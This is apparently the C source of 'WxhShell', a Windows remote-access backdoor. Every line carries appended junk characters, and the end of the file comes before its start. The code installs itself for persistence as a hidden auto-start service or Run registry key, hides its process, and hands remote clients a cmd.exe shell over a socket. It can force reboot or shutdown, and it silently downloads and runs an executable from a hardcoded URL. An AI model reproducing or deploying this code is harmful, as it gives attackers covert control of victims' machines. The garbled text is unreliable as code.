    if(Boot(SHUTDOWN)) X,- ' v[z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&mV1dxR  
    else { NJYx.TL  
    closesocket(wsh); uO$ujbWZ  
    ExitThread(0); h6*=Fn7C  
    } ;qI5GQ {  
    break; ivdw1g|)h  
    } D\Y)E#%,  
  // 获取shell uo1G   
  case 's': { Z2chv,SqCJ  
    CmdShell(wsh); FswMEf-|  
    closesocket(wsh); -`e=u<Y9@  
    ExitThread(0); v{rc5 ]\R  
    break; "?j|;p@!>  
  } >Kl78w:  
  // 退出 -X#J<u T/  
  case 'x': { 39!o!_g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^H+j;K{5,  
    CloseIt(wsh); @LY 5]og  
    break; R|Ft@]  
    } =#XsY,r  
  // 离开 A!v-[AI[  
  case 'q': { CiP-Zh[gZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SwQ.tK1p  
    closesocket(wsh); <!,q:[ee5  
    WSACleanup(); ,8( %J3J  
    exit(1); !DnG)4#  
    break; @C=, >+D  
        } h3;Ij'  
  } PMZdz>>T  
  } VGcl)fIqw?  
V,qZF=}S  
  // 提示信息 ^ v3+w"2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y51XpcXQ  
} PiB)pUYj  
  } _lQ+J=J$.R  
gB 3&AQ  
  return; -<#n7b  
} i7~oZ)w  
ej,MmLu~^  
// shell模块句柄 NrvS/ cI!t  
int CmdShell(SOCKET sock) '4sT+q  
{ F *; +-e  
STARTUPINFO si; +ZXGT  
ZeroMemory(&si,sizeof(si)); hBsjO3n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; whNRUOK:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >ge-yK 1  
PROCESS_INFORMATION ProcessInfo; 7>{edNy!,  
char cmdline[]="cmd"; #},]`"n\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qn@Qd9Sf  
  return 0; 7kn=j6I  
} {CH\TmSz  
kt1f2cj  
// 自身启动模式 #py7emu  
int StartFromService(void) >/n5=RWh  
{ V`69%35*@  
typedef struct >1ZMQgCG  
{ cXJgdBwo  
  DWORD ExitStatus; _0F6mg n  
  DWORD PebBaseAddress; IJ, ,aCj4g  
  DWORD AffinityMask; VhSKtD1  
  DWORD BasePriority; xSb/9 8;  
  ULONG UniqueProcessId; ?p5RSt  
  ULONG InheritedFromUniqueProcessId; u\qyh9s  
}   PROCESS_BASIC_INFORMATION; BHj]w*Ov  
F__>`Do l  
PROCNTQSIP NtQueryInformationProcess; mS~3QV  
o\]e}+1[o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J=K3S9:n]g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z,rWj][P  
Cw{#(xX  
  HANDLE             hProcess; %o4d4 3uZ  
  PROCESS_BASIC_INFORMATION pbi; !^axO  
#bu`W!p}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mKpUEJ<a  
  if(NULL == hInst ) return 0; k5-mK{RZ  
8KWT d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #<'/s qL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GWE`'V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]VJcV.7`  
4 d]  
  if (!NtQueryInformationProcess) return 0; 6%S>~L66  
^ioTd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uFdSD  
  if(!hProcess) return 0; \((>i7C  
^J% w[FE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #UND'c(5  
<2cq 0*$  
  CloseHandle(hProcess); l}Xmm^@)  
[JAd1%$3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h]EXD   
if(hProcess==NULL) return 0; Xkv>@7ec  
6l_8Q w*5I  
HMODULE hMod; l3g6y 9;  
char procName[255]; /@#)j( eY/  
unsigned long cbNeeded; ]}v`#-Px(  
rW\~sTH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Rb7q{@>  
iBUf1v  
  CloseHandle(hProcess); T[Gz  
6  09=o+  
if(strstr(procName,"services")) return 1; // 以服务启动 c7rYG]  
D 0n2r  
  return 0; // 注册表启动 Y6N+,FAk+J  
} |9\Lv $VJ  
D[tGbk  
// 主模块 +^69>L2V  
int StartWxhshell(LPSTR lpCmdLine) :m$%D]WY  
{ W' 2)$e  
  SOCKET wsl; !m(6/*PAl  
BOOL val=TRUE; q6G([h7  
  int port=0; 2PeI+!7s  
  struct sockaddr_in door; h,p&/oU4U  
2!6Kzq  
  if(wscfg.ws_autoins) Install(); y mE`V  
VR:b1XWX  
port=atoi(lpCmdLine); _ SFD}w3b$  
g<lX Xj2  
if(port<=0) port=wscfg.ws_port; c//W#V2Q  
*(k=!`4(  
  WSADATA data; j_H T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; / 9;Pbxn  
rRt<kTk!U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =p7W^/c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EEo+#  
  door.sin_family = AF_INET; .A `:o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); blPC"3}3Vd  
  door.sin_port = htons(port); Ol-'2l  
h">X!I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h=U 4  
closesocket(wsl); +_}2zc4  
return 1; 87>Qw,r  
} Bpp9I;)c  
QV 'y6m\  
  if(listen(wsl,2) == INVALID_SOCKET) { 2mT+@G  
closesocket(wsl); ~w*ojI  
return 1; ``z="oD  
} 0,3 ':Df  
  Wxhshell(wsl); dk]ro~ [  
  WSACleanup(); Lul?@>T  
VN".NEL  
return 0; ^}[ N4  
, XR8qi~  
} P4AdfHk  
$ta#] >{  
// 以NT服务方式启动 p}!pT/KmpH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e^an` </{  
{ UCWU|r<s,  
DWORD   status = 0; ropiyT9;  
  DWORD   specificError = 0xfffffff; k %rP*b*  
e/3hb)#;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.cGRz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |S}*M<0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gjWH }(K  
  serviceStatus.dwWin32ExitCode     = 0; a[!d)Y:zx  
  serviceStatus.dwServiceSpecificExitCode = 0; ;7A,'y4f  
  serviceStatus.dwCheckPoint       = 0;  "O 'I  
  serviceStatus.dwWaitHint       = 0; ;C<A }  
n)H0;25L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )K6{_~Kc\  
  if (hServiceStatusHandle==0) return; '[E_7$d  
xr2:bu  
status = GetLastError(); }<S2W\,G  
  if (status!=NO_ERROR) #lC{R^SL  
{ x M[#Ah)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \* #4  
    serviceStatus.dwCheckPoint       = 0; .KSGma6]  
    serviceStatus.dwWaitHint       = 0; ?!66yn  
    serviceStatus.dwWin32ExitCode     = status; `qgJE_GC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Og npzN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K!~ ](_W!  
    return; <>oW f  
  } iau&k `b`  
R}Y=!qjYE=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :F\f}G3  
  serviceStatus.dwCheckPoint       = 0; E;Hjw0M'k  
  serviceStatus.dwWaitHint       = 0; {cI<4><  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J)-> 7h =  
} u"T^DrRlQ  
X9j+$X \j  
// 处理NT服务事件,比如:启动、停止 jY.%~Y1y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e- CW4x  
{ zE/(F;> FV  
switch(fdwControl) J"MJVMo$T  
{ ZIl<y{  
case SERVICE_CONTROL_STOP: 8(;i~f:bCW  
  serviceStatus.dwWin32ExitCode = 0; 9 JtG&^*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OXB-.<  
  serviceStatus.dwCheckPoint   = 0; !/zj7z !  
  serviceStatus.dwWaitHint     = 0;  B" z5j  
  { hH/ O2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1|c?#fwo  
  } UXJl;M b  
  return; ~-%A@Lt  
case SERVICE_CONTROL_PAUSE: QAwj]_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k N+(  
  break; : eFc.>KoD  
case SERVICE_CONTROL_CONTINUE: 3\G=J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %R>S"  
  break; (ce NVo&  
case SERVICE_CONTROL_INTERROGATE: zJ`(LnV  
  break; xW4+)F5P(  
}; Fm':sd)'X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dFFqs&cQ  
} QR'g*Bro  
kDh(~nfj  
// 标准应用程序主函数 WU\bJ}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W|e>  
{ ($W 5fbu  
gEsR-A!m  
// 获取操作系统版本 j[cjQ]>~'  
OsIsNt=GetOsVer(); 1n"X?K5;A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &L]*]Xz;  
!y?hn$w0  
  // 从命令行安装 sQs5z~#51*  
  if(strpbrk(lpCmdLine,"iI")) Install(); zOdKB2_J7  
sD +G+  
  // 下载执行文件 E=NY{| >  
if(wscfg.ws_downexe) { y9hZ2iT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w#,v n8  
  WinExec(wscfg.ws_filenam,SW_HIDE); R-fjxM*  
} f4_G[?9,  
'=.Uz3D'0  
if(!OsIsNt) { JUFO.m^w  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q8oo5vqQ#C  
HideProc(); |plo65  
StartWxhshell(lpCmdLine); *Mc\7D  
} :t^})%  
else nj`q V  
  if(StartFromService()) F4%[R)  
  // 以服务方式启动 Wp3l>:  
  StartServiceCtrlDispatcher(DispatchTable); SGd.z6"H  
else pe})A  
  // 普通方式启动 Q{hOn]"  
  StartWxhshell(lpCmdLine); n0pe7/Ai  
VBJ]d|  
return 0; , ~X;M"U  
} qu+2..3  
vP?S0>gh  
YO0x68  
Ue:T3jp 3%  
=========================================== )`7+o9&  
 eb@Lh!  
z{L;)U B^  
zEfD{I  
m0\}Cc  
vP NZFi-(  
" =Gz>ZWF  
,{*fOpn  
#include <stdio.h> @I6A9do  
#include <string.h> L0  2~FT  
#include <windows.h> 7=A9E]:  
#include <winsock2.h> {Y%=/ba W  
#include <winsvc.h> F|`B2Gr  
#include <urlmon.h> [#'_@zZz  
Qmx~_  
#pragma comment (lib, "Ws2_32.lib") ^3o8F  
#pragma comment (lib, "urlmon.lib") [F[<2{FQF  
}zxh:"#K  
#define MAX_USER   100 // 最大客户端连接数 5)NBM7h  
#define BUF_SOCK   200 // sock buffer $ _Bu,;  
#define KEY_BUFF   255 // 输入 buffer / i2-h  
u>6/_^iq  
#define REBOOT     0   // 重启 F5[ITK]A4  
#define SHUTDOWN   1   // 关机 ^>{;9 lo<  
VDjIs UUX  
#define DEF_PORT   5000 // 监听端口 +/86w59  
1|w:xG^  
#define REG_LEN     16   // 注册表键长度 l]y%cJ~$'D  
#define SVC_LEN     80   // NT服务名长度 4$GRCq5N;  
A;a(n\Sy  
// 从dll定义API /~cL L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VhIIW"1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gD+t'qg$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  Rha3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !&jgcw/E  
jI<WzvhYG  
// wxhshell配置信息 |0R%!v(,  
struct WSCFG { .x?zky^  
  int ws_port;         // 监听端口 #n)W  
  char ws_passstr[REG_LEN]; // 口令 T KL(97)<  
  int ws_autoins;       // 安装标记, 1=yes 0=no [mzF)/[_2  
  char ws_regname[REG_LEN]; // 注册表键名 Le:mMd= G  
  char ws_svcname[REG_LEN]; // 服务名 qq3Qd,$Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U]EuDNkO{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zRE8299%z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UA4d|^ev  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4?M3#],'h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xb:BIp!e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fA0=Y,pzv  
JgKZ;GM:W  
}; NV(4wlh)y  
eEGcio}_I9  
// default Wxhshell configuration ,W8Iabi^  
struct WSCFG wscfg={DEF_PORT, C*6)Ut '  
    "xuhuanlingzhe", y&=19 A#  
    1, "M0l;  
    "Wxhshell", k+r9h'd   
    "Wxhshell", cPaWJ+c  
            "WxhShell Service", lrX0c$)  
    "Wrsky Windows CmdShell Service", 't?7.#,6O  
    "Please Input Your Password: ", ~G:2iSi(#  
  1, v[DbhIXU  
  "http://www.wrsky.com/wxhshell.exe", xXxh3 k\  
  "Wxhshell.exe" g74z]Uj.B  
    }; }%FuL5Tx  
4|41^B5Y  
// 消息定义模块 1 u_2 4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .C;_4jE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n ,:.]3v%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _AB9BQm  
char *msg_ws_ext="\n\rExit."; ?&<o_/`-H5  
char *msg_ws_end="\n\rQuit."; c[RL Yu  
char *msg_ws_boot="\n\rReboot..."; agU!D[M_G  
char *msg_ws_poff="\n\rShutdown..."; :8-gm"awL5  
char *msg_ws_down="\n\rSave to "; KW7? : x  
ZMMo6;  
char *msg_ws_err="\n\rErr!"; .A!0.M|  
char *msg_ws_ok="\n\rOK!"; ZWhmO=b!  
tvH\iS#V  
char ExeFile[MAX_PATH]; D<3V#Opw  
int nUser = 0; ie~fQ!rf  
HANDLE handles[MAX_USER]; hk!,  
int OsIsNt; QT= ,En  
.0fh>kQ  
SERVICE_STATUS       serviceStatus; 9}jq`xSL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MAD}Tv\S7  
M$4=q((0  
// 函数声明 ~z _](HKoS  
int Install(void); @?7{%j*  
int Uninstall(void); 3JZWhxkf[$  
int DownloadFile(char *sURL, SOCKET wsh); {+ 6D-rDw  
int Boot(int flag); V>jhGf  
void HideProc(void); PSf5p\<5  
int GetOsVer(void); 71/m.w  
int Wxhshell(SOCKET wsl); W aGcoj  
void TalkWithClient(void *cs); X})Imk7&E  
int CmdShell(SOCKET sock); o|;eMO-  
int StartFromService(void); cI%"Ynq"3  
int StartWxhshell(LPSTR lpCmdLine); L}jF#*Q%  
=e!l=d|/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sId(PT^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s\C8t0C  
H&=n:'k^  
// 数据结构和表定义 o%WjJ~!zL  
SERVICE_TABLE_ENTRY DispatchTable[] = b~r{J5x@  
{ MYhx'[4[3  
{wscfg.ws_svcname, NTServiceMain}, + fd@K  
{NULL, NULL} 9sU+IT K4  
}; << ;HY}s  
E<<p_hX8R  
// 自我安装 oO#xx)b  
int Install(void) I!@s6tG  
{ =%3b@}%HqS  
  char svExeFile[MAX_PATH]; W[>iJJwz  
  HKEY key; 5Z9~ &U  
  strcpy(svExeFile,ExeFile); ! FR%QGn1  
/$9BPjO{  
// 如果是win9x系统,修改注册表设为自启动 Cl6m$YUt  
if(!OsIsNt) { q1f=&kGX~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )XP#W|;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]dHB}  
  RegCloseKey(key); %0yS98']g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8wII{FHX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3T|Y}  
  RegCloseKey(key); Gg9VS&VI  
  return 0; @q&|MMLt  
    } ?L@@;tt  
  } WDE e$k4.  
} !.3R~0b  
else { % Cu.u)/+  
WGh. ;-  
// 如果是NT以上系统,安装为系统服务 wy{\/?~c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )d +hZ'  
if (schSCManager!=0) -!J2x 8Ri  
{ W}XYmF*_?  
  SC_HANDLE schService = CreateService `l>93A  
  ( -=$% {  
  schSCManager, BrJ o!@<  
  wscfg.ws_svcname, J;UBnCg  
  wscfg.ws_svcdisp, q]6_ rY.  
  SERVICE_ALL_ACCESS, I#U>5"%\a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2'wr={>W  
  SERVICE_AUTO_START, Gz>Lqd  
  SERVICE_ERROR_NORMAL, |1(rr%  
  svExeFile, EJZ@p7*Oj  
  NULL, ~n[b^b  
  NULL, =s'XR@  
  NULL, &:V@2_6"  
  NULL, -B1YZ/.rz"  
  NULL co5y"yj_  
  ); xfq]9<  
  if (schService!=0) F#(.v7Za  
  { ch@x]@-;A3  
  CloseServiceHandle(schService); |JUe>E*  
  CloseServiceHandle(schSCManager); tu\mFHvlg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %won=TG8  
  strcat(svExeFile,wscfg.ws_svcname); LBiowd[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m|pTn#*`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YC]PN5[1!  
  RegCloseKey(key); mEoA#U  
  return 0; b'velj3A  
    } RT% x&j  
  } V: ^JC>6  
  CloseServiceHandle(schSCManager); aje^Z=]  
} -uWKY6 :5  
} T8n-u b<  
24|  
return 1; TH|?X0b  
} N-[n\}'  
"JkZJ#  
// 自我卸载 ZCm1+Y$  
int Uninstall(void) 31~hlp;  
{ wms1IV%;  
  HKEY key; 2~f6~\4GL+  
a{h%DpG  
if(!OsIsNt) { ZjqA30!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NuU'0_")/  
  RegDeleteValue(key,wscfg.ws_regname); _u> t3RUA  
  RegCloseKey(key); f1A_`$>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _N98vf0o  
  RegDeleteValue(key,wscfg.ws_regname); Oqpp=7  
  RegCloseKey(key); VS?dvZ1cC  
  return 0; P: n#S%  
  } D7)(D4S4  
} B4Q79gEh=  
} KiQ(XNx  
else { q"S(7xWS  
1h2H1gy5I3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qh\YR\O  
if (schSCManager!=0) |K%}}g[<e;  
{ (@ "=F6P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v"rl5x  
  if (schService!=0) vF"c  
  { 5^yG2&>#  
  if(DeleteService(schService)!=0) { K<FKu $=  
  CloseServiceHandle(schService); )o{VmXe@@  
  CloseServiceHandle(schSCManager); o,CBA;{P  
  return 0; L?!$EPr  
  } *ksb?|<Ot  
  CloseServiceHandle(schService); &.zj5*J  
  } Q:mZ" i5  
  CloseServiceHandle(schSCManager); =yo{[&Jz  
} VBM/x|'  
} J{d(1gSZ  
U R}kB&t  
return 1; K"L_`.&Q  
} U IfH*6X  
W6vf=I@f  
// 从指定url下载文件 Qm< gb+  
int DownloadFile(char *sURL, SOCKET wsh) +@0TMK,P  
{ yO=p3PV d  
  HRESULT hr; <;%0T xK|U  
char seps[]= "/"; E/ijvuO  
char *token; \<ZLoy_  
char *file; S_2"7  
char myURL[MAX_PATH]; (#$$nQj  
char myFILE[MAX_PATH]; F"'n4|q4n  
e&0NK8&#+  
strcpy(myURL,sURL); `m%:rE,  
  token=strtok(myURL,seps); bp#fyG"  
  while(token!=NULL) j&WL*XP&5  
  { GMb(10T`  
    file=token; &UL_bG }  
  token=strtok(NULL,seps); l4KbTKm7  
  } H d*}k6  
i}B;+0<drx  
GetCurrentDirectory(MAX_PATH,myFILE); ]=x\b^  
strcat(myFILE, "\\"); (= 9 wo  
strcat(myFILE, file); 4}i*cB `  
  send(wsh,myFILE,strlen(myFILE),0); aVwH  
send(wsh,"...",3,0); )Vg2Jix,]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gz;&u)  
  if(hr==S_OK) MLV:U  
return 0; '.Z4 hHX  
else ^;r+W -MQ  
return 1; \5~;MI.Sq  
$o.Kn9\  
} M;KA]fmc  
rgqQxe=  
// 系统电源模块 Iq^if>  
int Boot(int flag) Hd%! Nt\u  
{ y])).p P  
  HANDLE hToken; D L{R|3{N  
  TOKEN_PRIVILEGES tkp;  / +1{  
P]Xbjs<p  
  if(OsIsNt) { 1CkdpYjsj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mibpG9+d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VYaSB?`/  
    tkp.PrivilegeCount = 1; j)Y[4 ^k^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \5TxE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FW#P*}#  
if(flag==REBOOT) { cwe1^SJ6y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZYcd.?:6  
  return 0; C#;@y|Rw  
} R{?vQsLk  
else { 'eyJS`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L\e>B>u  
  return 0; ybQP E/9  
} 8:thWGLN  
  } (PRBS\*G  
  else { }"_j0ax  
if(flag==REBOOT) { 02\JzBU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m!O;>D  
  return 0; Yp1bH+/u  
} nN aXp*J  
else { RV+E^pkp$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u1Ek y/e-  
  return 0; .<#ATFmY  
} 7LCp7$Cp  
} ]6&$|2H?Ni  
mI7~c;~  
return 1; 9JshMo  
} O'$K],=BS  
aXY -><  
// win9x进程隐藏模块 88lxHoPV  
void HideProc(void) q'G,!];qL  
{ X}cZxlqc  
uLk]LT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qx)Jtb0`V  
  if ( hKernel != NULL ) fP[& a9l  
  { !%PWig-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C4\,z\Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9o0!m Cq  
    FreeLibrary(hKernel); j U[ O  
  } a{'Z5ail  
@I-Lv5  
return; v,OpTu:1  
} u6Je@e_!  
--fFpM3EvS  
// 获取操作系统版本 1J}8sG2`  
int GetOsVer(void) y(a!YicA?  
{ eV7 u*d?  
  OSVERSIONINFO winfo; ;%!B[+ut"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  c</1  
  GetVersionEx(&winfo); qAY%nA>jO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /nZ;v4  
  return 1; vq!uD!lr  
  else 7dOyxr"H-  
  return 0; zt=0o| k  
} %Dig)<yx  
<>Y?v C  
// 客户端句柄模块 ROc`BH=  
int Wxhshell(SOCKET wsl) -#s [F S  
{ j_cs;G: "  
  SOCKET wsh; U@F)2?  
  struct sockaddr_in client; "TS  
  DWORD myID; H'=(`  
e3(/qMl  
  while(nUser<MAX_USER) 6l\FIah@  
{ :G5RYi  
  int nSize=sizeof(client); ',I0ih#Ls  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '5KeL3J;  
  if(wsh==INVALID_SOCKET) return 1; atF?OP|{,w  
v~|?3/{Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (%_n!ip^  
if(handles[nUser]==0) f)Xr!7  
  closesocket(wsh); EME.h&A\G`  
else Uf\nFB? ^  
  nUser++; XfYC7-e9c  
  } j&R+2%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ArK]0$T   
I?Aj.{{$G%  
  return 0; )C%N]9FvY  
} kA wNly  
i38[hQR9a  
// 关闭 socket [KJ q  
void CloseIt(SOCKET wsh) q,>?QBct*  
{ YDC&u8  
closesocket(wsh); ZD>a>]  
nUser--; TX [%(ft  
ExitThread(0); q MYe{{r  
} 8, "yNq  
x_#-tB  
// 客户端请求句柄 LiQgR 6j  
void TalkWithClient(void *cs) I5m][~6.?  
{ ~b~2 >c9  
*^%*o?M~  
  SOCKET wsh=(SOCKET)cs; zj{r^D$  
  char pwd[SVC_LEN]; {eS|j=  
  char cmd[KEY_BUFF]; %?Y[Bk3p  
char chr[1]; PU<PhuMd  
int i,j; Z{6kWA3Kk  
E#wS_[  
  while (nUser < MAX_USER) { gJ$K\[+  
I@#;nyAj"  
if(wscfg.ws_passstr) { Dnf*7)X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LOy0hN-$b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = u[#2!  
  //ZeroMemory(pwd,KEY_BUFF); hr05L<?H  
      i=0; *f%>YxF  
  while(i<SVC_LEN) { txgQ"MGA%  
aGZi9O7G}  
  // 设置超时 3r+.N  
  fd_set FdRead; X0(tboj#  
  struct timeval TimeOut; =ONHK F[UJ  
  FD_ZERO(&FdRead); ^5GW$  
  FD_SET(wsh,&FdRead); cvd\/pG)  
  TimeOut.tv_sec=8; mLV[uhq   
  TimeOut.tv_usec=0; )0 W`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aUHcYc\u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PxS4,`#~  
8I;XS14Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u"1rF^j6k  
  pwd=chr[0]; s*/bi W  
  if(chr[0]==0xd || chr[0]==0xa) { yS(}:'`r  
  pwd=0; $j}OB6^I  
  break; \%Ves@hG>  
  } 6z0@I*  
  i++; Fs_]RfG  
    } Isy'{ -H  
7{@l%jx][  
  // 如果是非法用户,关闭 socket ($w@Z/;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~Nf})U  
} 66x?A0P  
$$APgj"|<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HB+|WW t>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EtbnE*S  
P O :"B6  
while(1) { W14F  
,GWNL m\5  
  ZeroMemory(cmd,KEY_BUFF); k3?rp`V1  
;W>Cqg=  
      // 自动支持客户端 telnet标准   c~QS9)=E  
  j=0; =OIw*L8C"I  
  while(j<KEY_BUFF) {  qy)_wM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BrRL7xX  
  cmd[j]=chr[0]; K~=UUB  
  if(chr[0]==0xa || chr[0]==0xd) { sJwyj D$b  
  cmd[j]=0; wNFz*|n  
  break; H{J'# 9H  
  } g~V+4+  
  j++; qd3Q}Lk  
    } No]~jnqDM  
o<IAeH {+  
  // 下载文件 /~*_x=p:  
  if(strstr(cmd,"http://")) { jZ`;Cy\<B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v>z tB,,9  
  if(DownloadFile(cmd,wsh)) akw,P$i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 rLTF\  
  else HbP!KVHyk1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s,#>m*Rh  
  } A_Frk'{qhB  
  else { T\~x.aH`^  
bR@p<;G|  
    switch(cmd[0]) { =X.LA%Sf=u  
  Z{&cuo.@<]  
  // 帮助 T~Q JO0  
